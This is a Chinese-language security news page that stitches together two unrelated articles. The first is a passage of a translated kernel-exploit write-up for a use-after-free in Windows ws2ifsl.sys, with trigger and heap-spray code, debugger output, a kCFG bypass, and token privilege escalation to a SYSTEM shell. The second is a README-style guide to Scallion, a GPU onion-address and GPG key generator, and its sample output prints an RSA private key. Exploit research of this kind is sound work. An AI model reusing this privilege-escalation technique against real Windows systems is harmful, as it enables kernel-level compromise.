新版本通过使用新的referenceCounter来确保缓冲区只有在最后一个引用被删除之后才会被释放。如果是RundownRoutine(包含引用),则在函数末尾删除 DereferenceProcessContext引用,并在调用nt!KeInsertQueueApc之前让引用计数加一。如果发生错误,该引用也会被删除(避免内存泄漏)。

漏洞触发

要触发这个漏洞,我们首先要创建一个“procData”句柄和一个“socketData”句柄,然后向“socketData”写入恶意数据并关闭两个句柄。接下来,线程将会终止调用APC RundownRoutine,并处理释放的数据。

漏洞触发代码:

<..>

in CreateProcessHandle:

 

    g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);

    eaData->a1 = (void*)g_hThread1; // thread must be in current process

    eaData->a2 = (void*)0x2222222;  // fake APC Routine

    eaData->a3 = (void*)0x3333333;  // fake cancel Rundown Routine

    eaData->a4 = (void*)0x4444444;

    eaData->a5 = (void*)0x5555555;

     

    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));

    DWORD supSuc = SuspendThread(g_hThread1);

<..>

in main:

 

HANDLE procHandle = CreateProcessHandle();

HANDLE sockHandle = CreateSocketHandle(procHandle);

 

char* writeBuffer = (char*) malloc(0x100);

     

IO_STATUS_BLOCK io;

LARGE_INTEGER byteOffset;

byteOffset.HighPart = 0;

byteOffset.LowPart = 0;

byteOffset.QuadPart = 0;

byteOffset.u.LowPart = 0;

byteOffset.u.HighPart = 0;

ULONG key = 0; 

 

CloseHandle(procHandle);

 

NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);

在DispatchClose释放处设置一个断点,我们将会看到:

Breakpoint 2 hit

ws2ifsl!DispatchClose+0x7d:

fffff806`1b8e71cd e8ceeef3fb      call    nt!ExFreePool (fffff806`178260a0)

1: kd> db rcx

ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

1: kd> g

Breakpoint 0 hit

ws2ifsl!RequestRundownRoutine:

fffff806`1b8e12d0 48895c2408      mov     qword ptr [rsp+8],rbx

0: kd> db rcx-30

ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

因为procData对象已经被释放,所以RundownRoutine将处理释放的数据。一般来说此时不会发生崩溃,因为数据块没有重新分配。

堆喷射

接下来,我们来看看如何利用该漏洞。

首先,我们需要知道缓冲区和分配池的大小。

在要释放的缓冲区上使用pool命令,我们可以看到它分配在Nonpaged pool上,大小为0×120字节。

1: kd> !pool ffff8b08905e9910

Pool page ffff8b08905e9910 region is Nonpaged pool

<..>

*ffff8b08905e9900 size:  120 previous size:    0  (Allocated) *Ws2P Process: ffff8b08a32e3080

        Owning component : Unknown (update pooltag.txt)

查看ws2ifsl!CreateProcessFile中分配的缓冲区,我们可以看到:

PAGE:00000001C00079ED mov     edx, 108h       ; size

PAGE:00000001C00079F2 mov     ecx, 200h       ; PoolType

PAGE:00000001C00079F7 mov     r8d, 'P2sW'     ; Tag

PAGE:00000001C00079FD call    cs:__imp_ExAllocatePoolWithQuotaTag

以下代码可用于为多个0×120字节的缓冲区分配用户控制的数据:

int doHeapSpray()

{

    for (size_t i = 0; i < 0x5000; i++)

    {

        HANDLE readPipe;

        HANDLE writePipe;

        DWORD resultLength;

        UCHAR payload[0x120 - 0x48];

        RtlFillMemory(payload, 0x120 - 0x48, 0x24);

 

        BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));

 

        res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);

    }  

    return 0;

}

如果我们将这个堆喷射合并到漏洞触发代码中,我们就能在nt!KiInsertQueueApc中触发一次漏洞检查,而程序崩溃是由于对“liked list”操作所引起的。

.text:00000001400A58F6 mov     rax, [rdx]

.text:00000001400A58F9 cmp     [rax+_LIST_ENTRY.Blink], rdx

.text:00000001400A58FD jnz     fail_fast

<..>

.text:00000001401DC2EA fail_fast:                              ; CODE XREF: KiInsertQueueApc+53↑j

.text:00000001401DC2EA                                         ; KiInsertQueueApc+95↑j ...

.text:00000001401DC2EA                 mov     ecx, 3

.text:00000001401DC2EF                 int     29h             ; Win8: RtlFailFast(ecx)

错误检查在命令int 29处执行,在检查发生崩溃的寄存器时,我们可以看到RAX寄存器指向的是我们控制的数据。

rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003

rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000

rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599

 r8=ffff8b08a39c3118  r9=fffff80574d87490 r10=fffff80574d87490

r11=0000000000000000 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

 

0: kd> dq ffff8b08905e82d0

ffff8b08`905e82d0  24242424`24242424 24242424`24242424

ffff8b08`905e82e0  24242424`24242424 24242424`24242424

ffff8b08`905e82f0  24242424`24242424 24242424`24242424

ffff8b08`905e8300  24242424`24242424 24242424`24242424

ffff8b08`905e8310  24242424`24242424 24242424`24242424

ffff8b08`905e8320  24242424`24242424 24242424`24242424

ffff8b08`905e8330  24242424`24242424 24242424`24242424

ffff8b08`905e8340  24242424`24242424 24242424`24242424

导致崩溃的调用栈如下:

0: kd> k

 # Child-SP          RetAddr           Call Site

00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus

01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12

02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952

03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107

04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69

05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0

06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325

07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87

08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f

09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8

0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2

0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48

0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a

0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn

0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart

上述代码中,因为主线程的突然终止而触发了错误检测,之所以会发生这种情况,是因为我们破坏的APC仍然在队列中,而断开连接操作可以处理损坏的数据。因为前后指针已损坏并且没有指向有效的链接列表,因此会引发安全断开检查。

KeRundownApcQueues

我们需要将释放的APC元素转换为有效的内容,在触发错误并重写旧的“prodata”之后,需要退出APC队列的线程。此时,内核将调用nt!KeRundownApcQueues函数并检查nt!KiFlushQueueApc!。

此时,我们就可以控制缓冲区的内容了,我们可以避免安全异常,因为链表的有效指针使用了一个指向“kthread”内部的值来检查。假如我们以中等完整性级别运行,那么使用SystemHandleInformation调用NtQuerySystemInformation则可能会泄漏“kthread”的地址。如果我们使用“kthread”地址来创建回收的“procData”,并且nt!KeRundownApcQueues尝试在“procData”对象中执行用户控制的函数指针,我们就可以避免触发错误检查了。

绕过kCFG

在我们控制了想要执行的函数指针之后,还有一个需要克服的小障碍。在中等完整性级别下,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有加载模块的基地址。因此,我们现在至少知道可以将执行转移到何处。

但是,APC函数指针调用由Microsoft实现的CFI内核控制流保护。如果我们调用随机ROP gadget,内核会抛出一个错误检查。

幸运的是,从CFG的角度来看,函数序言都是有效的分支目标,因此我们知道可以调用什么而不必停止。在调用nt!KeRundownApcQueues函数指针时,第一个参数(rcx)指向“procData”缓冲区,第二个参数(rdx)为零。

我们可以使用的另一种可能性是通过调用本地函数NtTestAlert来调用APC函数指针。

当使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向“procData”缓冲区,第二个参数(rdx)也指向它。

在寻找一些小函数,根据给定的约束执行操作之后,我们找到了一个合适的对象:nt!SeSetAccessStateGenericMapping。

如下所示,nt!SeSetAccessStateGenericMapping可用于执行16字节的任意写入:

但是,这16个字节的后半部分未被完全控制,但是前8个字节是基于堆喷射所提供的数据。

令牌覆盖

在旧的Windows版本中,有很多技术可以将一个任意的写操作转换成一个完整的内核读写原语。最简单的方法是在启用所有位的情况下覆盖此结构的Present和Enabled成员。这将让我们获得SeDebugPrivilege特权,允许我们将代码注入到高特权进程中,比如说“winlogon.exe”。

获取系统权限

一旦我们将代码注入到了系统进程中,我们就可以运行“cmd.exe”,然后拿到交互式的shell。与此同时,我们还避免了kCFG和SMEP等许多问题,因为我们不执行ROP或在错误的上下文中执行任何ring0代码。

漏洞利用代码

Windows 10 19H1 x64:【点我获取

* 参考来源:bluefrostsecurity,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Scallion

Scallion可以帮助我们使用OpenCL来创建GPG密钥以及针对Tor隐藏服务的.onion地址。Scallion基于Mono软件平台开发和运行,并已在Arch Linux平台上成功测试,工具的运行依赖.NET 3.5+(已在Windows 7和Windows Server 2008平台上测试)。

Scallion当前仍处于测试阶段,正在积极开发中,但是它目前已经可以正常使用了。我们的开发当前主要集中在性能、用户界面和安装难度方面的改进上,而不是在生成密钥以及相关算法方面。

工具依赖

1、安装并配置好OpenCL以及相关驱动器。

2、OpenSSL,在Windows环境下,已包含有预内置的x64 DLL。

3、尽在Windows平台下,需要VC++ Redistributable 2008

工具下载

最新版本源码压缩包:【点我下载

Linux环境下构建

依赖组件

针对自己的Linux发行版,获取最新版本的Mono:【传送门

使用下列命令安装常用依赖组件:

sudo apt-get update

sudo apt-get install libssl-dev mono-devel

AMD/OpenSource构建命令:

sudo apt-get install ocl-icd-opencl-dev

Nvidia构建命令:

sudo apt-get install nvidia-opencl-dev nvidia-opencl-icd

最后,运行下列命令:

msbuild scallion.sln

Docker Linux配置(Nvidia GPU)

1、获取nvidia-docker容器运行时环境:【点我获取】。

2、运行下列命令构建容器:

docker build -t scallion -f Dockerfile.nvidia

3、运行下列命令:

docker run --runtime=nvidia -ti --rm scallion -l

Windows环境下构建

1、在VS中打开“scallion.sln”

2、构建解决方案

工具使用

枚举设备:

$ mono scallion/bin/Debug/scallion.exe -l

生成哈希:

$ mono scallion/bin/Debug/scallion.exe -d 0 prefix

Cooking up some delicious scallions...

Using kernel optimized from file kernel.cl (Optimized4)

Using work group size 128

Compiling kernel... done.

Testing SHA1 hash...

CPU SHA-1: d3486ae9136e7856bc42212385ea797094475802

GPU SHA-1: d3486ae9136e7856bc42212385ea797094475802

Looks good!

LoopIteration:40  HashCount:671.09MH  Speed:9.5MH/s  Runtime:00:01:10  Predicted:00:00:56  Found new key! Found 1 unique keys.

<XmlMatchOutput>

  <GeneratedDate>2014-08-05T07:14:50.329955Z</GeneratedDate>

  <Hash>prefix64kxpwmzdz.onion</Hash>

  <PrivateKey>-----BEGIN RSA PRIVATE KEY-----

MIICXAIBAAKBgQCmYmTnwGOCpsPOqvs5mZQbIM1TTqOHK1r6zGvpk61ZaT7z2BCE

FPvdTdkZ4tQ3/95ufjhPx7EVDjeJ/JUbT0QAW/YflzUfFJuBli0J2eUJzhhiHpC/

1d3rb6Uhnwvv3xSnfG8m7LeI/Ao3FLtyZFgGZPwsw3BZYyJn3sD1mJIJrQIEB/ZP

ZwKBgCTUQTR4zcz65zSOfo95l3YetVhfmApYcQQd8HTxgTqEsjr00XzW799ioIWt

vaKMCtJlkWLz4N1EqflOH3WnXsEkNA5AVFe1FTirijuaH7e46fuaPJWhaSq1qERT

eQT1jY2jytnsJT0VR7e2F83FKINjLeccnkkiVknsjrOPrzkXAkEA0Ky+vQdEj64e

iP4Rxc1NreB7oKor40+w7XSA0hyLA3JQjaHcseg/bqYxPZ5J4JkCNmjavGdM1v6E

OsVVaMWQ7QJBAMweWSWtLp6rVOvTcjZg+l5+D2NH+KbhHbNLBcSDIvHNmD9RzGM1

Xvt+rR0FA0wUDelcdJt0R29v2t19k2IBA8ECQFMDRoOQ+GBSoDUs7PUWdcXtM7Nt

QW350QEJ1hBJkG2SqyNJuepH4PIktjfytgcwQi9w7iFafyxcAAEYgj4HZw8CQAUI

3xXEA2yZf9/wYax6/Gm67cpKc3sgKVczFxsHhzEml6hi5u0FG7aNs7jQTRMW0aVF

P8Ecx3l7iZ6TeakqGhcCQGdhCaEb7bybAmwQ520omqfHWSte2Wyh+sWZXNy49EBg

d1mBig/w54sOBCUHjfkO9gyiANP/uBbR6k/bnmF4dMc=

-----END RSA PRIVATE KEY-----

</PrivateKey>

  <PublicModulusBytes>pmJk58BjgqbDzqr7OZmUGyDNU06jhyta+sxr6ZOtWWk+89gQhBT73U3ZGeLUN//ebn44T8exFQ43ifyVG09EAFv2H5c1HxSbgZYtCdnlCc4YYh6Qv9Xd62+lIZ8L798Up3xvJuy3iPwKNxS7cmRYBmT8LMNwWWMiZ97A9ZiSCa0=</PublicModulusBytes>

  <PublicExponentBytes>B/ZPZw==</PublicExponentBytes>

</XmlMatchOutput>

init: 491ms / 1 (491ms, 2.04/s)

generate key: 1193ms / 6 (198.83ms, 5.03/s)

cpu precompute: 10ms / 6 (1.67ms, 600/s)

total without init: 70640ms / 1 (70640ms, 0.01/s)

set buffers: 0ms / 40 (0ms, 0/s)

write buffers: 3ms / 40 (0.08ms, 13333.33/s)

read results: 67442ms / 40 (1686.05ms, 0.59/s)

check results: 185ms / 40 (4.63ms, 216.22/s)

9.50 million hashes per second

Stopping the GPU and shutting down...

多模式哈希

Scallion支持通过原语正则表达式语句来搜索单一或多模式哈希,目前仅支持字符类型(例如[absd])。“.”字符代表任意字符,Onion地址长度固定为16个字符,GPG指纹为40个字符。你可以通过“$”来寻找前缀或后缀匹配,例如DEAD$。除此之外,你还可以使用pipe语句(例如pattern1|pattern2)来寻找多模式哈希,当然了,这种搜索模式下运行速度肯定不乐观。

查询样例

mono scallion.exe prefix[234567]

mono scallion.exe -c prefix scallion hashes

mono scallion.exe -c "prefix|scallion|hashes"

mono scallion.exe .........badbeef

mono scallion.exe --gpg badbeef$ # 生成GPG密钥

mono scallion.exe "suffixa$|suffixb$|prefixa|prefixb|a.suffix$|a.test.$"

Scallion工作机制

1、使用OpenSSL以及CPU生成RSA密钥

2、向GPU发送密钥

3、增加密钥的公共指数

4、对密钥进行哈希计算

5、如果生成的哈希非部分冲突,则返回第三步

6、如果生成的密钥未通过PKCS #1 v2.1的及健全性检查,则返回第三步

7、生成全新的密钥

速度/性能

初始的RSA密钥生成是在CPU上完成的,SHA1哈希计算则是在GPU上完成的。下面给出的是常见GPU的计算速度表:

GPU型号 速度
Intel i7-2620M 9.9 MH/s
Intel i5-5200U 118 MH/s
NVIDIA GT 520 38.7 MH/s
NVIDIA Quadro K2000M 90 MH/s
NVIDIA GTS 250 128 MH/s
NVIDIA GTS 450 144 MH/s
NVIDIA GTX 670 480 MH/s
NVIDIA GTX 970 2350 MH/s
NVIDIA GTX 980 3260 MH/s
NVIDIA GTX 1050 (M) 1400 MH/s
NVIDIA GTX 1070 4140 MH/s
NVIDIA GTX 1070 TI 5100 MH/s
NVIDIA GTX TITAN X 4412 MH/s
NVIDIA GTX 1080 5760 MH/s
NVIDIA Tesla V100 11646 MH/s
AMD A8-7600 APU 120 MH/s
AMD Radeon HD5770 520 MH/s
AMD Radeon HD6850 600 MH/s
AMD Radeon RX 460 840 MH/s
AMD Radeon RX 470 957 MH/s
AMD Radeon R9 380X 2058 MH/s
AMD FirePro W9100 2566 MH/s
AMD Radeon RX 480 2700 MH/s
AMD Radeon RX 580 3180 MH/s
AMD Radeon R9 Nano 3325 MH/s
AMD Vega Frontier Edition 7119 MH/s

MH/s = 百万哈希/秒

工具运行截图

项目地址

Scallion:【GitHub传送门

* 参考来源:lachesis,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM